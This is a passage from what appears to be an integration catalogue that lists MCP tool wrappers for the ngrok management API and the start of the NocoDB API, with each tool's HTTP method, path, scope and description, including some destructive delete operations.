/api/v1/ngrok/backends/weighted/{id}. Scopes: api. ngrok_patch_bot_users_by_id (write) — Bot Users: Update -- Update attributes of a bot user by ID. Returns the affected resource object. via PATCH /bot_users/{id} PATCH /api/v1/ngrok/bot_users/{id}. Scopes: api. ngrok_patch_certificate_authorities_by_id (write) — Certificate Authorities: Update -- Update attributes of a Certificate Authority by ID. Returns the affected resource object. via PATCH /certificate_authorities/{id} PATCH /api/v1/ngrok/certificate_authorities/{id}. Scopes: api. ngrok_patch_credentials_by_id (write) — Credentials: Update -- Update attributes of an tunnel authtoken credential by ID. Returns the affected resource object. via PATCH /credentials/{id} PATCH /api/v1/ngrok/credentials/{id}. Scopes: api. ngrok_patch_edges_https_by_edge_id_routes_by_id (write) — HTTPS Edge Routes: Update -- Updates an HTTPS Edge Route by ID. If a module is not specified in the update, it will not be modified. However, each module configuration that is specified will completely replace the existing value. There is no way to delete an existing module via this API, instead use the delete module API. Returns the affected resource object. via PATCH /edges/https/{edge_id}/routes/{id} PATCH /api/v1/ngrok/edges/https/{edge_id}/routes/{id}. Scopes: api. ngrok_patch_edges_https_by_id (write) — HTTPS Edges: Update -- Updates an HTTPS Edge by ID. If a module is not specified in the update, it will not be modified. However, each module configuration that is specified will completely replace the existing value. There is no way to delete an existing module via this API, instead use the delete module API. Returns the affected resource object. via PATCH /edges/https/{id} PATCH /api/v1/ngrok/edges/https/{id}. Scopes: api. ngrok_patch_edges_tcp_by_id (write) — TCP Edges: Update -- Updates a TCP Edge by ID. If a module is not specified in the update, it will not be modified. However, each module configuration that is specified will completely replace the existing value. There is no way to delete an existing module via this API, instead use the delete module API. Returns the affected resource object. via PATCH /edges/tcp/{id} PATCH /api/v1/ngrok/edges/tcp/{id}. Scopes: api. ngrok_patch_edges_tls_by_id (write) — TLS Edges: Update -- Updates a TLS Edge by ID. If a module is not specified in the update, it will not be modified. However, each module configuration that is specified will completely replace the existing value. There is no way to delete an existing module via this API, instead use the delete module API. Returns the affected resource object. via PATCH /edges/tls/{id} PATCH /api/v1/ngrok/edges/tls/{id}. Scopes: api. ngrok_patch_endpoints_by_id (write) — Endpoints: Update -- Update an Endpoint by ID, currently available only for cloud endpoints. Returns the affected resource object. via PATCH /endpoints/{id} PATCH /api/v1/ngrok/endpoints/{id}. Scopes: api. ngrok_patch_event_destinations_by_id (write) — Event Destinations: Update -- Update attributes of an Event Destination. Returns the affected resource object. via PATCH /event_destinations/{id} PATCH /api/v1/ngrok/event_destinations/{id}. Scopes: api. ngrok_patch_event_subscriptions_by_id (write) — Event Subscriptions: Update -- Update an Event Subscription. Returns the affected resource object. via PATCH /event_subscriptions/{id} PATCH /api/v1/ngrok/event_subscriptions/{id}. Scopes: api. ngrok_patch_event_subscriptions_by_subscription_id_sources_by_type (write) — Event Sources: Update -- Update the type for which this event subscription will trigger. Returns the affected resource object. via PATCH /event_subscriptions/{subscription_id}/sources/{type} PATCH /api/v1/ngrok/event_subscriptions/{subscription_id}/sources/{type}. Scopes: api. ngrok_patch_ip_policies_by_id (write) — IP Policies: Update -- Update attributes of an IP policy by ID. Returns the affected resource object. via PATCH /ip_policies/{id} PATCH /api/v1/ngrok/ip_policies/{id}. Scopes: api. ngrok_patch_ip_policy_rules_by_id (write) — IP Policy Rules: Update -- Update attributes of an IP policy rule by ID. Returns the affected resource object. via PATCH /ip_policy_rules/{id} PATCH /api/v1/ngrok/ip_policy_rules/{id}. Scopes: api. ngrok_patch_ip_restrictions_by_id (write) — IP Restrictions: Update -- Update attributes of an IP restriction by ID. Returns the affected resource object. via PATCH /ip_restrictions/{id} PATCH /api/v1/ngrok/ip_restrictions/{id}. Scopes: api. ngrok_patch_reserved_addrs_by_id (write) — Reserved Addresses: Update -- Update the attributes of a reserved address. Returns the affected resource object. via PATCH /reserved_addrs/{id} PATCH /api/v1/ngrok/reserved_addrs/{id}. Scopes: api. ngrok_patch_reserved_domains_by_id (write) — Reserved Domains: Update -- Update the attributes of a reserved domain. Returns the affected resource object. via PATCH /reserved_domains/{id} PATCH /api/v1/ngrok/reserved_domains/{id}. Scopes: api. ngrok_patch_service_users_by_id (write) — Service Users: Update -- Update attributes of a service user by ID. Returns the affected resource object. via PATCH /service_users/{id} PATCH /api/v1/ngrok/service_users/{id}. Scopes: api. ngrok_patch_ssh_certificate_authorities_by_id (write) — SSH Certificate Authorities: Update -- Update an SSH Certificate Authority. Returns the affected resource object. via PATCH /ssh_certificate_authorities/{id} PATCH /api/v1/ngrok/ssh_certificate_authorities/{id}. Scopes: api. ngrok_patch_ssh_credentials_by_id (write) — SSH Credentials: Update -- Update attributes of an ssh_credential by ID. Returns the affected resource object. via PATCH /ssh_credentials/{id} PATCH /api/v1/ngrok/ssh_credentials/{id}. Scopes: api. ngrok_patch_ssh_host_certificates_by_id (write) — SSH Host Certificates: Update -- Update an SSH Host Certificate. Returns the affected resource object. via PATCH /ssh_host_certificates/{id} PATCH /api/v1/ngrok/ssh_host_certificates/{id}. Scopes: api. ngrok_patch_ssh_user_certificates_by_id (write) — SSH User Certificates: Update -- Update an SSH User Certificate. Returns the affected resource object. via PATCH /ssh_user_certificates/{id} PATCH /api/v1/ngrok/ssh_user_certificates/{id}. Scopes: api. ngrok_patch_tls_certificates_by_id (write) — TLS Certificates: Update -- Update attributes of a TLS Certificate by ID. Returns the affected resource object. via PATCH /tls_certificates/{id} PATCH /api/v1/ngrok/tls_certificates/{id}. Scopes: api. ngrok_patch_vault_secrets_by_id (write) — Secrets: Update -- Update an existing Secret by ID. Returns the affected resource object. via PATCH /vault_secrets/{id} PATCH /api/v1/ngrok/vault_secrets/{id}. Scopes: api. ngrok_patch_vaults_by_id (write) — Vaults: Update -- Update an existing Vault by ID. Returns the affected resource object. via PATCH /vaults/{id} PATCH /api/v1/ngrok/vaults/{id}. Scopes: api. ngrok_post_abuse_reports (write) — Abuse Reports: Create -- Creates a new abuse report which will be reviewed by our system and abuse response team. This API is only available to authorized accounts. Contact abuse@ngrok.com to request access. Returns the affected resource object. via POST /abuse_reports POST /api/v1/ngrok/abuse_reports. Scopes: api. ngrok_post_agent_ingresses (write) — Agent Ingresses: Create -- Create a new Agent Ingress. The ngrok agent can be configured to connect to ngrok via the new set of addresses on the returned Agent Ingress. Returns the affected resource object. via POST /agent_ingresses POST /api/v1/ngrok/agent_ingresses. Scopes: api. ngrok_post_ai_gateway_api_keys (write) — AI Gateway API Keys: Create -- Create a new AI Gateway API Key. Returns the affected resource object. via POST /ai_gateway_api_keys POST /api/v1/ngrok/ai_gateway_api_keys. Scopes: api. ngrok_post_ai_gateway_provider_keys (write) — AI Gateway Provider Keys: Create -- Create a new AI Gateway Provider Key. Returns the affected resource object. via POST /ai_gateway_provider_keys POST /api/v1/ngrok/ai_gateway_provider_keys. Scopes: api. ngrok_post_api_keys (write) — API Keys: Create -- Create a new API key. The generated API key can be used to authenticate to the ngrok API. Returns the affected resource object. via POST /api_keys POST /api/v1/ngrok/api_keys. Scopes: api. ngrok_post_backends_failover (write) — Failover Backends: Create -- Create a new Failover backend. Returns the affected resource object. via POST /backends/failover POST /api/v1/ngrok/backends/failover. Scopes: api. ngrok_post_backends_http_response (write) — HTTP Response Backends: Create. Returns the affected resource object. via POST /backends/http_response POST /api/v1/ngrok/backends/http_response. Scopes: api. ngrok_post_backends_static (write) — Static Backends: Create -- Create a new static backend. Returns the affected resource object. via POST /backends/static POST /api/v1/ngrok/backends/static. Scopes: api. ngrok_post_backends_tunnel_group (write) — Tunnel Group Backends: Create -- Create a new TunnelGroup backend. Returns the affected resource object. via POST /backends/tunnel_group POST /api/v1/ngrok/backends/tunnel_group. Scopes: api. ngrok_post_backends_weighted (write) — Weighted Backends: Create -- Create a new Weighted backend. Returns the affected resource object. via POST /backends/weighted POST /api/v1/ngrok/backends/weighted. Scopes: api. ngrok_post_bot_users (write) — Bot Users: Create -- Create a new bot user. Returns the affected resource object. via POST /bot_users POST /api/v1/ngrok/bot_users. Scopes: api. ngrok_post_certificate_authorities (write) — Certificate Authorities: Create -- Upload a new Certificate Authority. Returns the affected resource object. via POST /certificate_authorities POST /api/v1/ngrok/certificate_authorities. Scopes: api. ngrok_post_credentials (write) — Credentials: Create -- Create a new tunnel authtoken credential. This authtoken credential can be used to start a new tunnel session. The response to this API call is the only time the generated token is available. If you need it for future use, you must save it securely yourself. Returns the affected resource object. via POST /credentials POST /api/v1/ngrok/credentials. Scopes: api. ngrok_post_edges_https (write) — HTTPS Edges: Create -- Create an HTTPS Edge. Returns the affected resource object. via POST /edges/https POST /api/v1/ngrok/edges/https. Scopes: api. ngrok_post_edges_https_by_edge_id_routes (write) — HTTPS Edge Routes: Create -- Create an HTTPS Edge Route. Returns the affected resource object. via POST /edges/https/{edge_id}/routes POST /api/v1/ngrok/edges/https/{edge_id}/routes. Scopes: api. ngrok_post_edges_tcp (write) — TCP Edges: Create -- Create a TCP Edge. Returns the affected resource object. via POST /edges/tcp POST /api/v1/ngrok/edges/tcp. Scopes: api. ngrok_post_edges_tls (write) — TLS Edges: Create -- Create a TLS Edge. Returns the affected resource object. via POST /edges/tls POST /api/v1/ngrok/edges/tls. Scopes: api. ngrok_post_endpoints (write) — Endpoints: Create -- Create an endpoint, currently available only for cloud endpoints. Returns the affected resource object. via POST /endpoints POST /api/v1/ngrok/endpoints. Scopes: api. ngrok_post_event_destinations (write) — Event Destinations: Create -- Create a new Event Destination. It will not apply to anything until it is associated with an Event Subscription. Returns the affected resource object. via POST /event_destinations POST /api/v1/ngrok/event_destinations. Scopes: api. ngrok_post_event_subscriptions (write) — Event Subscriptions: Create -- Create an Event Subscription. Returns the affected resource object. via POST /event_subscriptions POST /api/v1/ngrok/event_subscriptions. Scopes: api. ngrok_post_event_subscriptions_by_subscription_id_sources (write) — Event Sources: Create -- Add an additional type for which this event subscription will trigger. Returns the affected resource object. via POST /event_subscriptions/{subscription_id}/sources POST /api/v1/ngrok/event_subscriptions/{subscription_id}/sources. Scopes: api. ngrok_post_ip_policies (write) — IP Policies: Create -- Create a new IP policy. It will not apply to any traffic until you associate to a traffic source via an endpoint configuration or IP restriction. Returns the affected resource object. via POST /ip_policies POST /api/v1/ngrok/ip_policies. Scopes: api. ngrok_post_ip_policy_rules (write) — IP Policy Rules: Create -- Create a new IP policy rule attached to an IP Policy. Returns the affected resource object. via POST /ip_policy_rules POST /api/v1/ngrok/ip_policy_rules. Scopes: api. ngrok_post_ip_restrictions (write) — IP Restrictions: Create -- Create a new IP restriction. Returns the affected resource object. via POST /ip_restrictions POST /api/v1/ngrok/ip_restrictions. Scopes: api. ngrok_post_reserved_addrs (write) — Reserved Addresses: Create -- Create a new reserved address. Returns the affected resource object. via POST /reserved_addrs POST /api/v1/ngrok/reserved_addrs. Scopes: api. ngrok_post_reserved_domains (write) — Reserved Domains: Create -- Create a new reserved domain. Returns the affected resource object. via POST /reserved_domains POST /api/v1/ngrok/reserved_domains. Scopes: api. ngrok_post_service_users (write) — Service Users: Create -- Create a new service user. Returns the affected resource object. via POST /service_users POST /api/v1/ngrok/service_users. Scopes: api. ngrok_post_ssh_certificate_authorities (write) — SSH Certificate Authorities: Create -- Create a new SSH Certificate Authority. Returns the affected resource object. via POST /ssh_certificate_authorities POST /api/v1/ngrok/ssh_certificate_authorities. Scopes: api. ngrok_post_ssh_credentials (write) — SSH Credentials: Create -- Create a new ssh_credential from an uploaded public SSH key. This ssh credential can be used to start new tunnels via ngrok's SSH gateway. Returns the affected resource object. via POST /ssh_credentials POST /api/v1/ngrok/ssh_credentials. Scopes: api. ngrok_post_ssh_host_certificates (write) — SSH Host Certificates: Create -- Create a new SSH Host Certificate. Returns the affected resource object. via POST /ssh_host_certificates POST /api/v1/ngrok/ssh_host_certificates. Scopes: api. ngrok_post_ssh_user_certificates (write) — SSH User Certificates: Create -- Create a new SSH User Certificate. Returns the affected resource object. via POST /ssh_user_certificates POST /api/v1/ngrok/ssh_user_certificates. Scopes: api. ngrok_post_tls_certificates (write) — TLS Certificates: Create -- Upload a new TLS certificate. Returns the affected resource object. via POST /tls_certificates POST /api/v1/ngrok/tls_certificates. Scopes: api. ngrok_post_tunnel_sessions_by_id_restart (write) — Tunnel Sessions: Restart -- Issues a command instructing the ngrok agent to restart. The agent restarts itself by calling exec() on platforms that support it. This operation is notably not supported on Windows. When an agent restarts, it reconnects with a new tunnel session ID. Answers 204 with no content on success; this tool returns {}. via POST /tunnel_sessions/{id}/restart POST /api/v1/ngrok/tunnel_sessions/{id}/restart. Scopes: api. ngrok_post_tunnel_sessions_by_id_stop (write) — Tunnel Sessions: Stop -- Issues a command instructing the ngrok agent that started this tunnel session to exit. Answers 204 with no content on success; this tool returns {}. via POST /tunnel_sessions/{id}/stop POST /api/v1/ngrok/tunnel_sessions/{id}/stop. Scopes: api. ngrok_post_tunnel_sessions_by_id_update (write) — Tunnel Sessions: Update -- Issues a command instructing the ngrok agent to update itself to the latest version. After this call completes successfully, the ngrok agent will be in the update process. A caller should wait some amount of time to allow the update to complete (at least 10 seconds) before making a call to the Restart endpoint to request that the agent restart itself to start using the new code. This call will never update an ngrok agent to a new major version which could cause breaking compatibility issues. If you wish to update to a new major version, that must be done manually. Still, please be aware that updating your ngrok agent could break your integration. This call will fail in any of the following circumstances: there is no update available the ngrok agent's configuration disabled update checks the agent is currently in process of updating the agent has already successfully updated but has not yet been restarted. Answers 204 with no content on success; this tool returns {}. via POST /tunnel_sessions/{id}/update POST /api/v1/ngrok/tunnel_sessions/{id}/update. Scopes: api. ngrok_post_vault_secrets (write) — Secrets: Create -- Create a new Secret. Returns the affected resource object. via POST /vault_secrets POST /api/v1/ngrok/vault_secrets. Scopes: api. ngrok_post_vaults (write) — Vaults: Create -- Create a new Vault. Returns the affected resource object. via POST /vaults POST /api/v1/ngrok/vaults. Scopes: api. ngrok_put_edges_https_by_edge_id_routes_by_id_backend (write) — Edge Route Backend Module: Replace. Returns the affected resource object. via PUT /edges/https/{edge_id}/routes/{id}/backend PUT /api/v1/ngrok/edges/https/{edge_id}/routes/{id}/backend. Scopes: api. ngrok_put_edges_https_by_edge_id_routes_by_id_circuit_breaker (write) — Edge Route Circuit Breaker Module: Replace. Returns the affected resource object. via PUT /edges/https/{edge_id}/routes/{id}/circuit_breaker PUT /api/v1/ngrok/edges/https/{edge_id}/routes/{id}/circuit_breaker. Scopes: api. ngrok_put_edges_https_by_edge_id_routes_by_id_compression (write) — Edge Route Compression Module: Replace. Returns the affected resource object. via PUT /edges/https/{edge_id}/routes/{id}/compression PUT /api/v1/ngrok/edges/https/{edge_id}/routes/{id}/compression. Scopes: api. ngrok_put_edges_https_by_edge_id_routes_by_id_ip_restriction (write) — Edge Route IP Restriction Module: Replace. Returns the affected resource object. via PUT /edges/https/{edge_id}/routes/{id}/ip_restriction PUT /api/v1/ngrok/edges/https/{edge_id}/routes/{id}/ip_restriction. Scopes: api. ngrok_put_edges_https_by_edge_id_routes_by_id_oauth (write) — Edge Route OAuth Module: Replace. Returns the affected resource object. via PUT /edges/https/{edge_id}/routes/{id}/oauth PUT /api/v1/ngrok/edges/https/{edge_id}/routes/{id}/oauth. Scopes: api. ngrok_put_edges_https_by_edge_id_routes_by_id_oidc (write) — Edge Route OIDC Module: Replace. Returns the affected resource object. via PUT /edges/https/{edge_id}/routes/{id}/oidc PUT /api/v1/ngrok/edges/https/{edge_id}/routes/{id}/oidc. Scopes: api. ngrok_put_edges_https_by_edge_id_routes_by_id_request_headers (write) — Edge Route Request Headers Module: Replace. Returns the affected resource object. via PUT /edges/https/{edge_id}/routes/{id}/request_headers PUT /api/v1/ngrok/edges/https/{edge_id}/routes/{id}/request_headers. Scopes: api. ngrok_put_edges_https_by_edge_id_routes_by_id_response_headers (write) — Edge Route Response Headers Module: Replace. Returns the affected resource object. via PUT /edges/https/{edge_id}/routes/{id}/response_headers PUT /api/v1/ngrok/edges/https/{edge_id}/routes/{id}/response_headers. Scopes: api. ngrok_put_edges_https_by_edge_id_routes_by_id_saml (write) — Edge Route SAML Module: Replace. Returns the affected resource object. via PUT /edges/https/{edge_id}/routes/{id}/saml PUT /api/v1/ngrok/edges/https/{edge_id}/routes/{id}/saml. Scopes: api. ngrok_put_edges_https_by_edge_id_routes_by_id_traffic_policy (write) — Edge Route Traffic Policy Module: Replace. Returns the affected resource object. via PUT /edges/https/{edge_id}/routes/{id}/traffic_policy PUT /api/v1/ngrok/edges/https/{edge_id}/routes/{id}/traffic_policy. Scopes: api. ngrok_put_edges_https_by_edge_id_routes_by_id_user_agent_filter (write) — Edge Route User Agent Filter Module: Replace. Returns the affected resource object. via PUT /edges/https/{edge_id}/routes/{id}/user_agent_filter PUT /api/v1/ngrok/edges/https/{edge_id}/routes/{id}/user_agent_filter. Scopes: api. ngrok_put_edges_https_by_edge_id_routes_by_id_webhook_verification (write) — Edge Route Webhook Verification Module: Replace. Returns the affected resource object. via PUT /edges/https/{edge_id}/routes/{id}/webhook_verification PUT /api/v1/ngrok/edges/https/{edge_id}/routes/{id}/webhook_verification. Scopes: api. ngrok_put_edges_https_by_edge_id_routes_by_id_websocket_tcp_converter (write) — Edge Route Websocket TCP Converter Module: Replace. Returns the affected resource object. via PUT /edges/https/{edge_id}/routes/{id}/websocket_tcp_converter PUT /api/v1/ngrok/edges/https/{edge_id}/routes/{id}/websocket_tcp_converter. Scopes: api. ngrok_put_edges_https_by_id_mutual_tls (write) — HTTPS Edge Mutual TLS Module: Replace. Returns the affected resource object. via PUT /edges/https/{id}/mutual_tls PUT /api/v1/ngrok/edges/https/{id}/mutual_tls. Scopes: api. ngrok_put_edges_https_by_id_tls_termination (write) — HTTPS Edge TLS Termination Module: Replace. Returns the affected resource object. via PUT /edges/https/{id}/tls_termination PUT /api/v1/ngrok/edges/https/{id}/tls_termination. Scopes: api. ngrok_put_edges_tcp_by_id_backend (write) — TCP Edge Backend Module: Replace. Returns the affected resource object. via PUT /edges/tcp/{id}/backend PUT /api/v1/ngrok/edges/tcp/{id}/backend. Scopes: api. ngrok_put_edges_tcp_by_id_ip_restriction (write) — TCP Edge IP Restriction Module: Replace. Returns the affected resource object. via PUT /edges/tcp/{id}/ip_restriction PUT /api/v1/ngrok/edges/tcp/{id}/ip_restriction. Scopes: api. ngrok_put_edges_tcp_by_id_traffic_policy (write) — TCP Edge Traffic Policy Module: Replace. Returns the affected resource object. via PUT /edges/tcp/{id}/traffic_policy PUT /api/v1/ngrok/edges/tcp/{id}/traffic_policy. Scopes: api. ngrok_put_edges_tls_by_id_backend (write) — TLS Edge Backend Module: Replace. Returns the affected resource object. via PUT /edges/tls/{id}/backend PUT /api/v1/ngrok/edges/tls/{id}/backend. Scopes: api. ngrok_put_edges_tls_by_id_ip_restriction (write) — TLS Edge IP Restriction Module: Replace. Returns the affected resource object. via PUT /edges/tls/{id}/ip_restriction PUT /api/v1/ngrok/edges/tls/{id}/ip_restriction. Scopes: api. ngrok_put_edges_tls_by_id_mutual_tls (write) — TLS Edge Mutual TLS Module: Replace. Returns the affected resource object. via PUT /edges/tls/{id}/mutual_tls PUT /api/v1/ngrok/edges/tls/{id}/mutual_tls. Scopes: api. ngrok_put_edges_tls_by_id_tls_termination (write) — TLS Edge TLS Termination Module: Replace. Returns the affected resource object. via PUT /edges/tls/{id}/tls_termination PUT /api/v1/ngrok/edges/tls/{id}/tls_termination. Scopes: api. ngrok_put_edges_tls_by_id_traffic_policy (write) — TLS Edge Traffic Policy Module: Replace. Returns the affected resource object. via PUT /edges/tls/{id}/traffic_policy PUT /api/v1/ngrok/edges/tls/{id}/traffic_policy. Scopes: api. ================================================================================ ## NocoDB URL: https://www.agenticfabriq.com/integrations/nocodb Section: Integrated Tools NocoDB — 147 MCP tools Provider key: nocodb. Scopes: api. Connect: API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. nocodb_delete_api_v2_meta_bases_by_baseid (write, destructive) — This API deletes the base identified by its baseId. Deleting a base is a permanent action that removes all its associated data and cannot be undone. Use this API with caution when managing your workspaces. via DELETE /api/v2/meta/bases/{baseId} DELETE /api/v1/nocodb/api/v2/meta/bases/{baseId}. Scopes: api. nocodb_delete_api_v2_meta_bases_by_baseid_api_tokens_by_tokenid (write, destructive) — Delete the given API Token in base via DELETE /api/v2/meta/bases/{baseId}/api-tokens/{tokenId} DELETE /api/v1/nocodb/api/v2/meta/bases/{baseId}/api-tokens/{tokenId}. Scopes: api. nocodb_delete_api_v2_meta_bases_by_baseid_shared (write, destructive) — Delete Base Shared Base via DELETE /api/v2/meta/bases/{baseId}/shared DELETE /api/v1/nocodb/api/v2/meta/bases/{baseId}/shared. Scopes: api. nocodb_delete_api_v2_meta_bases_by_baseid_sources_by_sourceid (write, destructive) — Delete the source details of a given base via DELETE /api/v2/meta/bases/{baseId}/sources/{sourceId} DELETE /api/v1/nocodb/api/v2/meta/bases/{baseId}/sources/{sourceId}. Scopes: api. nocodb_delete_api_v2_meta_bases_by_baseid_users_by_userid (write, destructive) — Delete a given user in a given base. Exclusive for Super Admin. Access with API Tokens will be blocked. via DELETE /api/v2/meta/bases/{baseId}/users/{userId} DELETE /api/v1/nocodb/api/v2/meta/bases/{baseId}/users/{userId}. Scopes: api. nocodb_delete_api_v2_meta_cache (write, destructive) — Delete All K/V pairs in NocoCache via DELETE /api/v2/meta/cache DELETE /api/v1/nocodb/api/v2/meta/cache. Scopes: api. nocodb_delete_api_v2_meta_columns_by_columnid (write, destructive) — Delete the existing column by the given column ID via DELETE /api/v2/meta/columns/{columnId} DELETE /api/v1/nocodb/api/v2/meta/columns/{columnId}. Scopes: api. nocodb_delete_api_v2_meta_comment_by_commentid (write, destructive) — Delete comment via DELETE /api/v2/meta/comment/{commentId} DELETE /api/v1/nocodb/api/v2/meta/comment/{commentId}. Scopes: api. nocodb_delete_api_v2_meta_filters_by_filterid (write, destructive) — Delete the filter data with a given Filter ID via DELETE /api/v2/meta/filters/{filterId} DELETE /api/v1/nocodb/api/v2/meta/filters/{filterId}. Scopes: api. nocodb_delete_api_v2_meta_hooks_by_hookid (write, destructive) — Delete the exsiting hook by its ID via DELETE /api/v2/meta/hooks/{hookId} DELETE /api/v1/nocodb/api/v2/meta/hooks/{hookId}. Scopes: api. nocodb_delete_api_v2_meta_sorts_by_sortid (write, destructive) — Delete the sort data by Sort ID via DELETE /api/v2/meta/sorts/{sortId} DELETE /api/v1/nocodb/api/v2/meta/sorts/{sortId}. Scopes: api. nocodb_delete_api_v2_meta_tables_by_tableid (write, destructive) — Delete table by the given table ID. via DELETE /api/v2/meta/tables/{tableId} DELETE /api/v1/nocodb/api/v2/meta/tables/{tableId}. Scopes: api. nocodb_delete_api_v2_meta_views_by_viewid (write, destructive) — Delete the view with the given view Id. via DELETE /api/v2/meta/views/{viewId} DELETE /api/v1/nocodb/api/v2/meta/views/{viewId}. Scopes: api. nocodb_delete_api_v2_meta_views_by_viewid_share (write, destructive) — Delete a shared view in a given View. via DELETE /api/v2/meta/views/{viewId}/share DELETE /api/v1/nocodb/api/v2/meta/views/{viewId}/share. Scopes: api. nocodb_delete_api_v2_meta_workspaces_by_workspaceid (write, destructive) — Delete workspace via DELETE /api/v2/meta/workspaces/{workspaceId} DELETE /api/v1/nocodb/api/v2/meta/workspaces/{workspaceId}. Scopes: api. nocodb_delete_api_v2_tables_by_tableid_links_by_linkfieldid_records_by_recordid (write, destructive) — This API endpoint allows you to unlink records from a specific `Link field` and `Record ID`. The request payload is an array of record-ids from the adjacent table for unlinking purposes. Note that, - duplicated record-ids will be ignored. - non-existent record-ids will be ignored. via DELETE /api/v2/tables/{tableId}/links/{linkFieldId}/records/{recordId} DELETE /api/v1/nocodb/api/v2/tables/{tableId}/links/{linkFieldId}/records/{recordId}. Scopes: api. nocodb_delete_api_v2_tables_by_tableid_records (write, destructive) — This API endpoint allows deleting existing records within a specified table identified by an array of Record-IDs, serving as unique identifier for the record. Records to be deleted are input as an array of record-identifiers. via DELETE /api/v2/tables/{tableId}/records DELETE /api/v1/nocodb/api/v2/tables/{tableId}/records. Scopes: api. nocodb_get_api_v2_meta_bases (read) — Retrieve a list of all available bases (OSS version). via GET /api/v2/meta/bases GET /api/v1/nocodb/api/v2/meta/bases. Scopes: api. nocodb_get_api_v2_meta_bases_by_baseid (read) — This API fetches detailed information about the base specified by its unique baseId. It provides metadata such as the base's title, description, creation date, color, and configuration settings. via GET /api/v2/meta/bases/{baseId} GET /api/v1/nocodb/api/v2/meta/bases/{baseId}. Scopes: api. nocodb_get_api_v2_meta_bases_by_baseid_api_tokens (read) — List API Tokens in the given base via GET /api/v2/meta/bases/{baseId}/api-tokens GET /api/v1/nocodb/api/v2/meta/bases/{baseId}/api-tokens. Scopes: api. nocodb_get_api_v2_meta_bases_by_baseid_by_sourceid_tables (read) — List all tables in a given Base and Source via GET /api/v2/meta/bases/{baseId}/{sourceId}/tables GET /api/v1/nocodb/api/v2/meta/bases/{baseId}/{sourceId}/tables. Scopes: api. nocodb_get_api_v2_meta_bases_by_baseid_has_empty_or_null_filters (read) — Check if a base contains empty and null filters. Used in `Show NULL and EMPTY in Filter` in Base Setting. via GET /api/v2/meta/bases/{baseId}/has-empty-or-null-filters GET /api/v1/nocodb/api/v2/meta/bases/{baseId}/has-empty-or-null-filters. Scopes: api. nocodb_get_api_v2_meta_bases_by_baseid_info (read) — Get info such as node version, arch, platform, is docker, rootdb and package version of a given base via GET /api/v2/meta/bases/{baseId}/info GET /api/v1/nocodb/api/v2/meta/bases/{baseId}/info. Scopes: api. nocodb_get_api_v2_meta_bases_by_baseid_meta_diff (read) — Get the meta data difference between NC_DB and external data sources via GET /api/v2/meta/bases/{baseId}/meta-diff GET /api/v1/nocodb/api/v2/meta/bases/{baseId}/meta-diff. Scopes: api. nocodb_get_api_v2_meta_bases_by_baseid_meta_diff_by_sourceid (read) — Get the meta data difference between NC_DB and external data sources in a given Source via GET /api/v2/meta/bases/{baseId}/meta-diff/{sourceId} GET /api/v1/nocodb/api/v2/meta/bases/{baseId}/meta-diff/{sourceId}. Scopes: api. nocodb_get_api_v2_meta_bases_by_baseid_shared (read) — Get Base Shared Base via GET /api/v2/meta/bases/{baseId}/shared GET /api/v1/nocodb/api/v2/meta/bases/{baseId}/shared. Scopes: api. nocodb_get_api_v2_meta_bases_by_baseid_sources (read) — This endpoint allows you to list all (data) sources within a specified base. The API returns a paginated list of data sources.\n\n**Pagination**: The response is paginated by default, with the first page being returned initially. The response includes the following additional information in the `pageInfo` JSON block:\n\n- `totalRows`: Indicates the total number of sources available in the specified Base ID.\n- `page`: Specifies the current page number.\n- `pageSize`: Defaults to 25 and defines the number of source items listed on each page.\n- `isFirstPage`: A boolean value that indicates whether the current page is the first page of source records in the dataset.\n- `isLastPage`: A boolean value that indicates whether the current page is the last page of source records in the dataset. via GET /api/v2/meta/bases/{baseId}/sources GET /api/v1/nocodb/api/v2/meta/bases/{baseId}/sources. Scopes: api. nocodb_get_api_v2_meta_bases_by_baseid_sources_by_sourceid (read) — Get the source details of a given base via GET /api/v2/meta/bases/{baseId}/sources/{sourceId} GET /api/v1/nocodb/api/v2/meta/bases/{baseId}/sources/{sourceId}. Scopes: api. nocodb_get_api_v2_meta_bases_by_baseid_tables (read) — This endpoint allows you to list all tables within a specified base. The API returns a paginated list of table. **Pagination**: The response is paginated by default, with the first page being returned initially. The response includes the following additional information in the `pageInfo` JSON block: - `totalRows`: Indicates the total number of tables available in the specified Base ID. - `page`: Specifies the current page number. - `pageSize`: Defaults to 25 and defines the number of table items listed on each page. - `isFirstPage`: A boolean value that indicates whether the current page is the first page of table records in the dataset. - `isLastPage`: A boolean value that indicates whether the current page is the last page of table records in the dataset. via GET /api/v2/meta/bases/{baseId}/tables GET /api/v1/nocodb/api/v2/meta/bases/{baseId}/tables. Scopes: api. nocodb_get_api_v2_meta_bases_by_baseid_users (read) — This endpoint allows you to list all users (collaborators) within a specified base. The API returns a paginated list of users.\n\n**Pagination**: The response is paginated by default, with the first page being returned initially. The response includes the following additional information in the `pageInfo` JSON block:\n\n- `totalRows`: Indicates the total number of users available in the specified Base ID.\n- `page`: Specifies the current page number.\n- `pageSize`: Defaults to 25 and defines the number of user items listed on each page.\n- `isFirstPage`: A boolean value that indicates whether the current page is the first page of user records in the dataset.\n- `isLastPage`: A boolean value that indicates whether the current page is the last page of user records in the dataset. via GET /api/v2/meta/bases/{baseId}/users GET /api/v1/nocodb/api/v2/meta/bases/{baseId}/users. Scopes: api. nocodb_get_api_v2_meta_bases_by_baseid_visibility_rules (read) — Hide / show views based on user role via GET /api/v2/meta/bases/{baseId}/visibility-rules GET /api/v1/nocodb/api/v2/meta/bases/{baseId}/visibility-rules. Scopes: api. nocodb_get_api_v2_meta_cache (read) — Get All K/V pairs in NocoCache via GET /api/v2/meta/cache GET /api/v1/nocodb/api/v2/meta/cache. Scopes: api. nocodb_get_api_v2_meta_columns_by_columnid (read) — Get the existing column by the given column ID via GET /api/v2/meta/columns/{columnId} GET /api/v1/nocodb/api/v2/meta/columns/{columnId}. Scopes: api. nocodb_get_api_v2_meta_comments (read) — List all comments via GET /api/v2/meta/comments GET /api/v1/nocodb/api/v2/meta/comments. Scopes: api. nocodb_get_api_v2_meta_comments_count (read) — Return the number of comments in the given query. via GET /api/v2/meta/comments/count GET /api/v1/nocodb/api/v2/meta/comments/count. Scopes: api. nocodb_get_api_v2_meta_filters_by_filtergroupid_children (read) — Get Filter Group Children of a given 